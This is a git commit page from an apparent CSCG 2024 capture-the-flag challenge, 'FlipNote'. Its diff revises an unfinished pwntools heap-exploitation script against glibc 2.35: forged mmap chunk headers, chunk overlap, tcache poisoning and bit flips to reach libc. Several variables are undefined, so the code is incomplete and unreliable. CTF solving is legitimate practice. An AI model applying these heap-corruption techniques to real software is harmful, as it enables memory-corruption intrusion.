cscg24-flipnote

CSCG 2024 Challenge 'FlipNote'
git clone https://git.sinitax.com/sinitax/cscg24-flipnote
Log | Files | Refs | sfeed.txt

commit 3fdfc3ca2fbe9e92a472ae55009d80eaf175174b
parent b7fd983ed9bb424d6cdf40fe580e993119f1ae7e
Author: Louis Burda <quent.burda@gmail.com>
Date:   Sat, 27 Apr 2024 00:09:53 +0200

Stash fuckery

Diffstat:
Msolve/notes | 3+++
Msolve/solve | 242++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++-------------
2 files changed, 205 insertions(+), 40 deletions(-)

diff --git a/solve/notes b/solve/notes @@ -66,3 +66,6 @@ use how2heap repo to find examples exploits for vulnerable libc version 2.35 - maybe we flip a bit in the exit handler 0x1400 to jump back into main (e.g 0x1200) - the exit handler stays registered and we keep our pointers allowing us + +# Nomal House of Muney does not work here, because it would unmap errno. + diff --git a/solve/solve b/solve/solve @@ -1,8 +1,8 @@ #!/usr/bin/env python3 -from socket import NI_NAMEREQD from pwn import * from math import floor, ceil +from IPython import embed import ctypes args = sys.argv[1:] @@ -17,6 +17,7 @@ def cc(): return string.ascii_uppercase[cci].encode() def alloc(line): + assert(b"\n" not in line) io.sendline(b"a") io.readuntil(b"Note: ") io.sendline(line) @@ -31,11 +32,13 @@ def free(index): print(f"Removed note: {index}") def edit(index, line): + assert(b"\n" not in line) io.sendline(b"e") io.readuntil(b"Index: ") io.sendline(str(index).encode()) io.readuntil(b"Note: ") io.sendline(line) + print(f"Edited note: {index}") def cfloor(a, b): return floor(a / b) if a >= 0 else ceil(a / b) @@ -55,59 +58,222 @@ def flipv(index, offset, value): flip(index, offset + bit // 8, bit % 8) def adj(size): - return size - 2 - 0x8 # malloc header + return size - 2 - 0x10 # malloc header + align + +#def mmap_adj(size): +# return size - 2 - 0x1000 # page aligned malloc header + +def align_up(size, align): + if size % align != 0: + return size - size % align + align + else: + return size + +def flat(attrs, length): + data = bytearray(cc() * length) + for addr,value in attrs.items(): + assert(addr >= 0 and addr + len(value) <= length) + data[addr:addr+len(value)] = value + data = bytes(data) + assert(len(data) == length) + return data -def mmap_adj(size): - return size - 2 - 0x1000 # page aligned malloc header +pgsize = 0x1000 + +# get_delim will alloc in powers of 2 starting at 0x78 +mmap_size_1 = 0x78 * 2 ** 11 + pgsize +mmap_size_2 = 0x78 * 2 ** 12 + pgsize +mmap_size_3 = 0x78 * 2 ** 13 + pgsize +mmap_size_4 = 0x78 * 2 ** 14 + pgsize + +# Calculate largest tcache-able chunk size allocated by get_delim. +tcache_size = 0x78 * 2**3 + 0x10 -gdb = 'gdb -ex "set debug-file-directory $PWD/debug" -ex "dir glibc"' \ +gdb = 'gdb -ex "set debug-file-directory $PWD/debug" -ex "dir glibc" -ex "set debuginfod enabled on"' \ + ' -ex "target remote localhost:1025" -ex "b main" -ex "continue"' run_in_new_terminal(["sh", "-c", f'sleep 1; sudo -E {gdb}'], kill_at_exit=False) -pgsize = 0x1000 +mmap_threshold_max = 0x400000 -# NOTE: get_delim will alloc in powers of 2 starting at 0x78 -mmap_size_1 = 0x3c000 + pgsize -mmap_size_2 = (mmap_size_1 - pgsize) * 2 + pgsize -mmap_size_3 = (mmap_size_2 - pgsize) * 2 + pgsize +mmap_size_1 = 0x2000000 +mmap_size_2 = 0x4000000 -print("MMAP1", hex(mmap_size_1)) -print("MMAP2", hex(mmap_size_2)) -print("MMAP3", hex(mmap_size_3)) +def mmap_adj(size): + assert(size > mmap_threshold_max) # single bit + mmap_sizes = (0x78 * 2 ** i - 2 for i in reversed(range(25))) + return next(filter(lambda s: s > mmap_threshold_max and s < size, mmap_sizes)) -# Do some alignment for later. -_ = alloc(cc() * mmap_adj(mmap_size_1)) -_ = alloc(cc() * mmap_adj(mmap_size_2)) +print("MMAP1", hex(mmap_size_1), hex(mmap_adj(mmap_size_1))) +print("MMAP2", hex(mmap_size_2), hex(mmap_adj(mmap_size_2))) -# Prepare a tcache-able chunk for later. -bin_size = 0x80 -top = alloc(cc() * adj(bin_size)) +_ = alloc(cc() * 0x10000000) +free(_) -# Add a padding chunk to prevent bad unmapping. -_ = alloc(cc() * mmap_adj(mmap_size_1)) # Slightly smaller to bypass malloc.c:3376 +back = alloc(cc() * 0x10) + +_ = alloc(cc() * mmap_adj(mmap_size_1)) -# Create two mmap chunks. front = alloc(cc() * mmap_adj(mmap_size_1)) -back = alloc(cc() * mmap_adj(mmap_size_1)) +embed() +free(front) + +free(back) +adjust = 0x5000 +assert(back == alloc(flat({ + mmap_size_2 - mmap_size_1 - 8: p64((mmap_size_1 + adjust)^0b010) +}, mmap_adj(mmap_size_2)))) + +embed() + +free(front) +assert(front == alloc(cc() * mmap_adj(mmap_size_1))) + +free(back) + +embed() + +# Prepare some low indexes for later. +fake = alloc(cc() * 0x10) +overlap1 = alloc(cc() * 0x10) +overlap2 = alloc(cc() * 0x10) + +# Also allocate a tcache sized chunk for later. +head = alloc(cc() * adj(tcache_size)) + +# Setup filler chunks. +adjust = 0x5000 +grid_size = mmap_size_1 +grid = [alloc(cc() * mmap_adj(grid_size)) for _ in range(6)] +list(map(free, reversed(grid[adjust // grid_size:]))) + +overlap_size = mmap_size_3 +free(overlap1) +overlap = alloc(flat({ + overlap_size - grid_size - 16: p64(0), + overlap_size - grid_size - 8: p64(grid_size - adjust % grid_size) +}, overlap_size)) + +overlap2 = alloc(flat({ + grid_size - (overlap_size % grid_size) - 8: p64(overlap_size) +}, grid_size)) + +embed() + +# Alloc large chunk to overlap freed filler chunks. +#chunk = next((i, size) for (a, (i, size)) in mem.items() if a +overlap_size = mmap_size_3 + +fill_tail = overlap_size - fill2[2] * grid_size +free(overlap) +overlap_map = { + fill_tail-16: p64(0), + fill_tail-8: p64(len(fill2)) +} +for i in range(len(fill2)): + offset = overlap_size - (i+1) * grid_size + size = len(fill1) * grid_size + adjust if i == 0 else fill_size + if offset-16 >= 0: overlap_map[offset-16] = p64(0) + if offset-8 >= 0: overlap_map[offset-8] = p64(size^0b010) +assert(overlap == alloc(flat(overlap_map, mmap_adj(overlap_size)))) + +# Free fillers to make space for fake chunk, fill2[0] adjusts the address. +list(map(free, fill2)) + +# Allocate another block to overlap with adjusted chunk. +free(fake) +fake_size = mmap_size_3 +guard_offset = fake_size - adjust +assert(fake == alloc(flat({ + guard_offset-8: p64(tcache_size^0b001) +}, mmap_adj(front2_size)))) + +embed() + +# Free fake chunk into tcache. +free(guard) + +# Free other chunk into same tcache. +free(head) + + +embed() + +padding_size = mmap_size_1 +head_size = mmap_size_1 +back_size = mmap_size_1 -# Flip back chunk size to overlap with front, new size 0x7e000. flip_size = 0x40000 -flipv(back, -8, flip_size) +assert(flip_size & back_size == 0) -io.interactive() +back_new_size = mmap_size_3 +assert(back_new_size > back_size ^ flip_size) + +front_adjust = 0x5000 +front_new_size = mmap_size_3 +head_free_size = front_new_size - front_size + front_adjust +assert(front_new_size > back_size ^ flip_size) + +front_offset = back_new_size - flip_size +assert(front_offset > 0 and front_offset <= mmap_adj(back_new_size)-8) + +head_offset = front_offset + front_size +assert(head_offset > 0 and head_offset <= mmap_adj(back_new_size)-8) + +front_new_offset = front_offset + front_adjust +assert(front_new_offset > 0 and front_new_offset <= mmap_adj(back_new_size)-8) + + + +# Prepare a tcache-able chunk for later. +top = alloc(cc() * adj(tcache_size)) + +# Get some buffer space. +padding = [alloc(cc() * mmap_adj(mmap_size_1)) for _ in range(6)] + +# Create front and back chunks with one in between for padding. +head = alloc(cc() * mmap_adj(head_size)) +front = alloc(cc() * mmap_adj(front_size)) +back = alloc(cc() * mmap_adj(back_size)) + +# Flip back chunk size to overlap with front. +flipv(back, -8, flip_size) # Free the back chunk with fake size. This unmaps the front chunk as well. -# It also adjusts the internal mmap_threshold to mmap_size_1 ^ flip_size. +# It also adjusts the internal mmap_threshold to back_size ^ flip_size. free(back) -assert(mmap_size_3 > mmap_size_1 ^ flip_size) -# Free and realloc back chunk with content to overwrite header. -# We pretend front chunk is a small, non-mmaped tcache-able chunk. -data = cc() * mmap_adj(mmap_size_3) -offset = mmap_size_3 - flip_size -back = alloc(data[:offset-8] + p64(bin_size^0b1) + data[offset:]) +# Realloc back chunk with content to overwrite both front and head chunk headers. +# We use this to control the size of the head chunk, and with it the number of +# pages that are unmapped on free => the position of front chunk after realloc. +# This is important to setup the bit flip into libc. +back = alloc(flat({ + front_offset-16: p64(0), + front_offset-8: p64(front_size^0b010), + head_offset-16: p64(0), + head_offset-8: p64(head_free_size^0b010), +}, mmap_adj(back_new_size))) + +# Free head and front chunk. +free(head) +free(front) -io.interactive() +# Reallocate front chunk to move pointer it forward into freed space. +front = alloc(cc() * mmap_adj(front_new_size)) +free(front) + +# Realloc back a bit behind front to overwrite again. +free(back) +_ = alloc(cc() * mmap_adj(mmap_size_1)) + +# Overwrite front header again, now pretending it is a non-mmaped tcache-able chunk. +back = alloc(flat({ + mmap_size_1-8: p64(tcache_size^0b001) +}, mmap_adj(back_new_size))) + +embed() + +# WOW: can actually do this with just double-free.. +# We just free and reallocate bigger. Howw did this take so long to get. # Free front chunk into tcache. free(front) @@ -115,19 +281,15 @@ free(front) # Free another chunk into same tcache. free(top) -io.interactive() - # Now the fd pointer of 'top' chunk is the fake chunk near libc. # We use our second bit flip to make it point into libc. flipv(top, 0, 0x400000) -io.interactive() - # Pop top chunk from bin. -top = alloc(cc() * adj(bin_size)) +top = alloc(cc() * adj(tcache_size)) # Allocate the buffer in libc. -libc = alloc(cc() * adj(bin_size)) +libc = alloc(cc() * adj(tcache_size)) # use edit to fixup the data